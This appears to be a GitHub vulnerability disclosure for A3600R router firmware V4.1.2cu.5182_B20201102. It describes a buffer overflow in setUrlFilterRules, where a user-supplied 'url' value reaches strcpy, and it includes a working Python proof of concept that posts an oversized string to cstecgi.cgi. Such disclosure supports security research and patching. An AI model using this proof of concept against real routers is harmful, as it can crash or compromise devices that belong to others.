Skip to content

Latest commit

 

History

History
28 lines (19 loc) · 1.1 KB

setUrlFilterRules.md

File metadata and controls

28 lines (19 loc) · 1.1 KB

Overview

Affected version

A3600R V4.1.2cu.5182_B20201102

Vulnerability details

In the A3600R V4.1.2cu.5182_B20201102 firmware has a buffer overflow vulnerability in the setUrlFilterRules function. The v9 variable receives the url parameter from a POST request. However, since the user can control the input of url, the strcpy(v13, v9); can cause a buffer overflow vulnerability.

image-20240721013038265

POC

import requests
url = "http://127.0.0.1/cgi-bin/cstecgi.cgi"
cookie = {"Cookie":"SESSION_ID=2:1721039211:2"}
data = {"url":"a"*0x1000,"topicurl":"setUrlFilterRules"}
response = requests.post(url, cookies=cookie, json=data)
print(response.text)
print(response)

image-20240721013206607